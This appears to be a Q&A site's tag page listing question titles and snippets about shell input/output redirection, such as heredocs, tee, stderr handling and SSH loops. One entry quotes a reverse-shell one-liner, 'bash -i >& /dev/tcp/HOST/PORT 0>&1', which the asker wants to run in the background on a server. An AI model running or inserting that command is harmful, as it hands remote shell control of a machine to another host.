io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

2
votes
1answer
126 views

< and << in UNIX /Linux

What are the operators <<and < used for in Linux? For example cat << abc.txt
3
votes
1answer
591 views

KSH styling text based menu using STDERR

Is it possible to format the STDERR in order to have a better looking menu using the select command? I have a simple select select oChoice in $(<tempMenu.menu) ; do case "$oChoice" in ...
0
votes
1answer
37 views

need to get the command information over ssh and the input from file

I am writing a script to get the command information of the remote machine usinf while and for loop. PFB the script. But the script ends by giving the single command information only. I have multiple ...
10
votes
4answers
3k views

Can I make `cut` change a file in place?

The man page doesn't give me much hope, but I'm hoping it's an undocumented (and/or GNU-specific) feature.
26
votes
4answers
15k views

Reading lines from a file with bash: for vs. while

I'm trying to read a text file and do something with each line, using a bash script. So, I have a list that looks like this: server1 server2 server3 server4 I thought I could loop over this using ...
1
vote
0answers
24 views

Inherit IO redirections from a script to another

When I redirect the output of a script within a script, I expect the redirection to be applied to the called script as well as the program called within it. A: ./B 2>> error.log B: ...
2
votes
5answers
2k views

How can I run a process in a terminal window and then hide that window?

I want to run python ~/program/proxy.py in a terminal when I boot up. And then hide this terminal window (because it is just a proxy program, and I don't want to see the debug info). So how can I get ...
10
votes
1answer
4k views

SSH causes while loop to stop

I have finally managed to boil down a problem I have been struggling with for a few weeks. I use SSH with "authorized keys" to run commands remotely. All is fine except when I do it in a while loop. ...
0
votes
0answers
40 views

How to rewrite the comand using I/O redirections?

Is there any way to rewrite the following command using only I/O redirections and not pipes ? ls -l | grep User | wc -l | tail -l
28
votes
4answers
14k views

How can I make iconv replace the input file with the converted output?

I have a bash script which enumerates through every *.php file in a directory and applies iconv to it. This gets output in STDOUT. Since adding the -o parameter ( in my experience ) actually writes ...
1
vote
1answer
499 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
0
votes
1answer
20 views

A generic cron wrapper that records all output

I am hoping to write a cron wrapper that records all output in a folder $CRON_LOG_DIR. It would be used as, e.g., follows: * * * * * $CRON_WRAPPER "<job name>" "command" which would record ...
0
votes
1answer
43 views

Write permissions inside of shell script

I am using a Debian 7 Server. I created a shell script to be executed by crontab to save a mysqldump every day. mysqldump *database* -u *mysql-user* -p*mysql-password* > ...
4
votes
1answer
83 views

Problem with paste and standard output in linux

I have two files that I am trying to merge, one file is: linux$ cat temp2 linear_0_A_B linear_0_B_A 103027.244444 102714.177778 103464.311111 102876.266667 103687.422222 103072.711111 103533.244444 ...
10
votes
1answer
1k views

Suppress output unless non-zero exit code

What's the best way to suppress output (stdout and stderr) unless the program exits with a non-zero code? I'm thinking: quiet_success() { file=$(mktemp) if ! ( "$@" > "$file" 2>&1 ); ...
8
votes
2answers
343 views

When should I use input redirection?

I used the following two commands to produce the same results:- [root@localhost ~]# grep line comments The line should start with a single quote to comment in VB scripting. Double slashes in the ...
7
votes
1answer
3k views

Why does redirection (>) not work sometimes but appending (>>) does?

While studying for the RHCE, I came across a situation where stdin redirection does not work in bash: # file /tmp/users.txt /tmp/users.txt: cannot open `/tmp/users.txt' (No such file or directory) ...
4
votes
3answers
855 views

Why read works if stdin is redirected to fd4?

What does the following script mean? exec 4<&0 0</etc/XX/cfg read line1 exec 0<&4 It redirects fd0 to fd4, and "/etc/XX/cfg" to fd0. So why does read still work, shouldn't that ...
1
vote
0answers
23 views

Using `perf` repeatedly with file input

perf can be used to analyze the performance of a program. Say you want to test the performance of a program prgrm, with input from a file, you can run: perf stat prgrm < inp.dat Now when you ...
4
votes
3answers
581 views

pipe line with non-deterministic output

I have happened upon a command that sometimes works and sometimes does not, even when executed multiple times in rapid succession in a bash shell (I have not tested the behavior in other shells). The ...
1
vote
1answer
44 views

How to create dynamic process substitution based on the input (multiple FIFOs)?

I'm trying to create multiple process substitutions based on the output from the other command, however I'm not sure how I can achieve that. As sample scenario, I've given list of files: touch a.txt ...
4
votes
3answers
122 views

Redirect the tail output to a file then stop when match found

there is this log file that data coming in is continuous. what i wanted to happen is to tail -f this log file then redirect it to a file with the ff conditions example of the log files content ...
4
votes
1answer
111 views

Redirection to file does not work properly

I have here a bash script: #!/bin/bash TARGET_FILE=ping_result.txt # declare the target ip addresses declare -a ips=("XXX.XXX.XXX.XXX" "YYY.YYY.YYY.YYY") function print_and_log() { echo "$1" ...
1
vote
1answer
45 views

How do I capture output into a variable and still have it goto the screen too?

I can do OUTPUT=$(grunt test) and that puts the output into OUTPUT but it's no longer on the screen. I need to see the output as it comes as well, so I can't just wait and then echo $OUTPUT. How can ...
3
votes
2answers
142 views

Inconsistency of stderr redirection between tcsh and other shells

I'm running into issues with redirection in tcsh. Consider the following commands: vi --version and vi --xxx. And let's assume this is on a machine where vi supports the --version option. The ...
1
vote
2answers
90 views

cat < file.txt Who is the responsible of reading the file?

cat < file.txt Who is the responsible of reading the file ? Is the shell reads the open and read the file then write its content to the standard input of the command ?
3
votes
2answers
71 views

Linux redirection: << operator [duplicate]

Can anyone explain when and how to use << operator for input redirection? I've googled enough but couldn't find.
-1
votes
1answer
25 views

Does those two constructions do the same thing: proces <input.txt vs cat input.txt | process in Linux

Does those two constructions do the same thing: proces <input.txt vs cat input.txt | process in Linux?
1
vote
1answer
39 views

In-place substitution for paste command [duplicate]

When I run the following code echo '1' > file.txt echo '2' | paste file.txt - > file.txt I would expect the content of file.txt be 1 2, because the paste command as it name suggests should ...
2
votes
1answer
67 views

Capturing data from a Fluke 1620a via Bash /dev/tcp file descriptor

I am currently trying to develop a script that will connect to a Fluke DewK 1620a Themo-Hygrometer and pull the current temperature and humidity readings from the device. While these devices have a ...
2
votes
2answers
56 views

Log both stdin and stdout of program

What I want though is to run a program and log both the stdin and stdout, but I want the stdin to be supplied from a file. I thought script log.txt < input.txt would work, but it does not, because ...
13
votes
5answers
27k views

Difference between 2>&1 > output.log and 2>&1 | tee output.log

I wanted to know the difference between the following two commands 2>&1 > output.log and 2>&1 | tee output.log I saw one of my colleague use second option to redirect. I know ...
11
votes
5answers
2k views

Using text from previous commands' output

EDIT April, 2015: If you have this same question I recommend also checking http://xiki.org/ I know this is not how terminals work, but I find myself often wishing there was an easy way of using ...
0
votes
1answer
32 views

How to redirect output of a 'xterm -hold -e' command

I know you can use tee to log output from a command in a terminal, e.g.: df -h | tee ~/log.txt However, how can I do this with a more complex command like this: xterm -hold -e program arg1 arg2 ...
5
votes
2answers
469 views

How can I make xargs play nice with stdin?

$ seq 1 3 1 2 3 $ seq 1 3 | xargs echo 1 2 3 $ Mentally replace seq 1 3 with any command that lists entries one-per-line on standard out. How can I get more-or-less what you'd expect, i.e. the ...
1
vote
2answers
59 views

Redirecting stdout and stderr of specific lines

I am reading a file and redirecting the entire output to a file. I would like to redirect stdout and stderr of certain expressions to screen as shown below (just an example): #!/bin/bash OLDIFS=$IFS ...
1
vote
1answer
43 views

read input from user in while loop having input and output redirection

This is my code: while IFS=',' read a b c; do read input echo $input done 3<&0 < input.csv > output.txt I took care of input redirection by redirecting through pipeline. But ...
2
votes
1answer
34 views

cat to stderr while reading to end of file marker

Leaving aside the question of whether usage output should go to stderr or not, if you had to redirect the output of the cat command below to stderr, how would you do it? function usage { cat ...
1
vote
2answers
54 views

pipe in shell with redirection

My understanding is that a pipe in shell like a | b redirects b's stdin to a's stdout. However, I tried ls | less < somefile, the behavior is very strange. less shows the output of ls concatenated ...
3
votes
1answer
25 views

vipe misbehaving on bash process substitution

I have the following simple command: $ echo <(vipe) I expected it to open a vim buffer, which I can edit, then when I'm done, echo the name of the temporary file assigned to hold the vim buffer ...
1
vote
2answers
35 views

CSH and all output (with errors) to file

I need save all output from compilation to file. I have many errors "undefined reference" and I want see all of these errors. I try "makeall >& out", but in file "out" aren't any of error ...
1
vote
3answers
83 views

Store stdout and stderr in file, then recreate the output later

I've redirected output to a file like so: $ ./test.bash 2> >(sed 's/^/stderr: /' >> output) > >(sed 's/^/stdout: /' >> output) $ cat output stdout: Hello World! stderr: ...
0
votes
1answer
28 views

append file with history line number values

Is there a way to append my_computer.sh with the command on line 330 by only referencing the line number? or with the fewest keystrokes possible? 326 pip install -U pip 327 man pip 328 cat ...
0
votes
2answers
44 views

Its possible use special characters in a shell function name?

I have to create the function in shell script, that function name must contain the special characters. like >() { echo $1 $2 } Here my function name is >, If its ...
0
votes
1answer
51 views

Can a command in a shell pipeline determine the tty characteristics of its context?

I have a bash script that columnizes a list of items. By default it will guess at the number of columns to output, based on the terminal width as reported by stty size. But when the script is in a ...
1
vote
1answer
56 views

Bash: using both way redirections in a shell script

I'm writing a shell script to compress and backup certain files. This will compress and move large files with sizes up to 4 GB. I'm having trouble with this line: gzip < $filelocation > ...
1
vote
1answer
75 views

awk with variables in condition and in output redirection file

I would please like some help with this command because I didn't find anything in documentation that can cover everything I want. I have some variables that are global, so I would prefer to keep them ...
1
vote
2answers
85 views

Redirect script output to /dev/tty1 and also capture output to file

I want to display text output on the console that is always displayed on a small screen on my Raspberry Pi. The following code works for showing that text output: cd ...
1
vote
3answers
33 views

read -e in a sub script

Let's imagine that I have script1.sh and script2.sh with the following sources: Script 1: #!/bin/bash # script 1 echo "Doing some stuff..." bash script2.sh echo "Done" And Script 2: #!/bin/bash # ...
0
votes
2answers
46 views

Bash function for piping data into protected file [duplicate]

I wanted to create a .bashrc function that would simplify passing data to a write-protected file. function pipe { sudo bash -c "$1" } Unfortunately the command pipe echo something > ...